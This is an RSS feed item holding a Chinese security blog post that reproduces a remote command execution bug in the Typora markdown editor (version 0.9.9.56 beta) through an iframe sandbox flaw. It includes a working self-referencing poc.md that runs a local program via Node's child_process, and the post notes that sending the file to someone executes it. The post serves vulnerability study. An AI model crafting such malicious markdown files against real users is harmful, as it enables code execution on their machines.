<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>typora &#8211; ChaBug安全</title>
	<atom:link href="/tags/typora/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:19:28 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Typora Remote Command Execution</title>
		<link>/web/627.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 20 Dec 2018 02:59:49 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[typora]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=627</guid>

					<description><![CDATA[前言 Typora是一个颜值和实力并存的markdown编辑器，我也在用。Typora基于Electron框架进行开发，今天看到了就复现下这个漏洞。 漏洞分析 在基于Electro...]]></description>
										<content:encoded><![CDATA[<h2 class="md-end-block md-heading" contenteditable="true">前言</h2>
<p class="md-end-block" contenteditable="true">Typora是一个颜值和实力并存的markdown编辑器，我也在用。Typora基于Electron框架进行开发，今天看到了就复现下这个漏洞。</p>
<h2 class="md-end-block md-heading" contenteditable="true">漏洞分析</h2>
<p class="md-end-block" contenteditable="true">在基于Electron框架开发的应用中，如果说找到了XSS漏洞，那么基本上也完成了命令执行。那么我们进行XSS盲打之后并没有收获，原因是因为Typora的作者在开发的过程中用到了<span spellcheck="false"><a href="https://github.com/cure53/DOMPurify">https://github.com/cure53/DOMPurify</a></span>，缓解了大部分的XSS攻击。</p>
<p class="md-end-block" contenteditable="true">然鹅，<span spellcheck="false"><code>iframe</code></span>是一个神奇的标签，我们先来尝试下</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n8" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"javascript:alert(1)"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fycz8zbd2jj30c604p0sn.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fycz8zbd2jj30c604p0sn.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">我们来看下输出的结果</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fycz8f1f1vj30mb059747.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fycz8f1f1vj30mb059747.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">可以看到，<span class="wpcom_tag_link"><a href="/tags/typora" title="typora" target="_blank">typora</a></span>把iframe这个标签的src属性会当作相对路径进行处理，那么我们来包含下本地文件试试</p>
<p class="md-end-block" contenteditable="true">新建poc.md输入</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n14" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"./poc.html"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">同目录下的poc.html内容如下：</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="javascript" contenteditable="true" cid="n16" mdtype="fences"><span role="presentation"><span class="cm-operator">&lt;</span><span class="cm-variable">script</span><span class="cm-operator">&gt;</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">alert</span>(<span class="cm-number">1</span>)</span>
<span role="presentation"><span class="cm-operator">&lt;</span><span class="cm-string-2">/script&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">弹窗！</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd02op1e7j31hc0smjrp.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd02op1e7j31hc0smjrp.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">那么为什么弹窗呢？打开Devtools看下</p>
<p class="md-end-block" contenteditable="true">Typora将我们的iframe标签解析成如下代码，其中<span spellcheck="false"><code>sendbox</code></span>是我们要注意的</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n21" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"C:\Users\Y4er\Desktop\poc.html"</span> <span class="cm-attribute">allow-top-navigation</span>=<span class="cm-string">"false"</span> <span class="cm-attribute">allow-forms</span>=<span class="cm-string">"false"</span> <span class="cm-attribute">allowfullscreen</span>=<span class="cm-string">"true"</span> <span class="cm-attribute">allow-popups</span>=<span class="cm-string">"false"</span> <span class="cm-attribute">sandbox</span>=<span class="cm-string">"allow-same-origin allow-scripts"</span> <span class="cm-attribute">onload</span>=<span class="cm-string">"window.remoteOnLoad(this)"</span> <span class="cm-attribute">height</span>=<span class="cm-string">"0"</span> <span class="cm-attribute">data-user-height</span>=<span class="cm-string">"0"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">我们看下<span class=""><a spellcheck="false" href="https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-sandbox">HTML的文档</a></span>中关于sendbox的说明，在html5中通过sendbox来提高iframe的安全性，而文档中也提到了</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd06uqg7dj318d03gjry.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd06uqg7dj318d03gjry.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">如果<span spellcheck="false"><code>allow-scripts</code></span>和<span spellcheck="false"><code>allow-same-origin</code></span>同时被设置为sendbox的属性时，那么sendbox则形同虚设</p>
<p class="md-end-block" contenteditable="true">那么我们修改下我们的poc来进行命令执行</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n26" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation">      <span class="cm-comment">//rce</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">require</span>(<span class="cm-string">'child_process'</span>).<span class="cm-property">execFile</span>(<span class="cm-string">'C:/Windows/System32/calc.exe'</span>,<span class="cm-keyword">function</span>(<span class="cm-def">error</span>, <span class="cm-def">stdout</span>, <span class="cm-def">stderr</span>){</span>
<span role="presentation">        <span class="cm-keyword">if</span>(<span class="cm-variable-2">error</span>){</span>
<span role="presentation">            <span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-variable-2">error</span>);</span>
<span role="presentation">        }  </span>
<span role="presentation">        });</span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;/</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd09dlmmwj31hc0smq6w.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd09dlmmwj31hc0smq6w.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">我们捋一下思路，现在我们通过iframe的src属性引用同目录的poc.html文档，来执行命令。可是这就需要两个文件，一个poc.md，一个poc.html。繁琐，有没有办法做到一个文件就达到我们的命令执行的目的的？</p>
<p class="md-end-block" contenteditable="true"><span class=""><strong>尝试srcdoc</strong></span></p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n30" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">srcdoc</span>=<span class="cm-string">"&lt;script&gt;window.parent.top.alert(1)&lt;/script&gt;"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">并没有效果，在Devtools中我们看到sendbox的属性被设置为空，那么这是默认应用所有的沙盒限制，srcdoc不可行</p>
<p class="md-end-block" contenteditable="true"><span class=""><strong>尝试引入md文件</strong></span></p>
<p class="md-end-block" contenteditable="true">poc.md</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="markdown" contenteditable="true" cid="n34" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"./poc.md"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">cmd.md</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n36" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation">      <span class="cm-comment">//rce</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">require</span>(<span class="cm-string">'child_process'</span>).<span class="cm-property">execFile</span>(<span class="cm-string">'C:/Windows/System32/calc.exe'</span>,<span class="cm-keyword">function</span>(<span class="cm-def">error</span>, <span class="cm-def">stdout</span>, <span class="cm-def">stderr</span>){</span>
<span role="presentation">        <span class="cm-keyword">if</span>(<span class="cm-variable-2">error</span>){</span>
<span role="presentation">            <span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-variable-2">error</span>);</span>
<span role="presentation">        }  </span>
<span role="presentation">        });</span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;/</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">计算器被弹了出来</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd0gkthm5j31hc0smtco.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd0gkthm5j31hc0smtco.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">也就是说我们现在能够引入md文件，这样的话我们代码执行的命令就可以直接放到poc.md中，然后自己iframe自己就可以达到命令执行的效果了。</p>
<p class="md-end-block" contenteditable="true"><span class=""><strong>引用自己</strong></span></p>
<p class="md-end-block" contenteditable="true">构造poc.md</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n42" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"./poc.md"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation">      <span class="cm-comment">//rce</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">require</span>(<span class="cm-string">'child_process'</span>).<span class="cm-property">execFile</span>(<span class="cm-string">'C:/Windows/System32/calc.exe'</span>,<span class="cm-keyword">function</span>(<span class="cm-def">error</span>, <span class="cm-def">stdout</span>, <span class="cm-def">stderr</span>){</span>
<span role="presentation">        <span class="cm-keyword">if</span>(<span class="cm-variable-2">error</span>){</span>
<span role="presentation">            <span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-variable-2">error</span>);</span>
<span role="presentation">        }  </span>
<span role="presentation">        });</span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;/</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd0k6m6taj31hc0smtdd.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd0k6m6taj31hc0smtdd.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">现在我们把poc.md文件发给别人，只要他用typora打开，就会执行我们代码中的命令。</p>
<h2 class="md-end-block md-heading" contenteditable="true">后记</h2>
<p class="md-end-block" contenteditable="true">这篇文章是我昨天晚上看到的，今天复现的时候发现点问题，列举下：</p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block" contenteditable="true">平台限制 基于Electron框架开发只是在win上，mac和Linux就另当别论</p>
</li>
<li class="md-list-item">
<p class="md-end-block" contenteditable="true">版本限制 我用0.9.60beta版本不能执行，看了Typora的<span class=""><a spellcheck="false" href="https://typora.io/windows/dev_release.html">版本日志</a></span>后发现在0.9.9.56 (beta)版本中才支持<span spellcheck="false"><code>video</code></span>, <span spellcheck="false"><code>iframe</code></span>, <span spellcheck="false"><code>kbd</code></span>, <span spellcheck="false"><code>details</code></span>, <span spellcheck="false"><code>ruby</code></span>这类标签，漏洞也产生在这个版本，而在0.9.9.57 (beta)版本中就对此漏洞进行了修复，限制太大</p>
</li>
</ol>
<p class="md-end-block md-focus" contenteditable="true">参考原文链接：<span class="md-expand" spellcheck="false"><a href="https://zhuanlan.zhihu.com/p/51768716">https://zhuanlan.zhihu.com/p/51768716</a></span></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
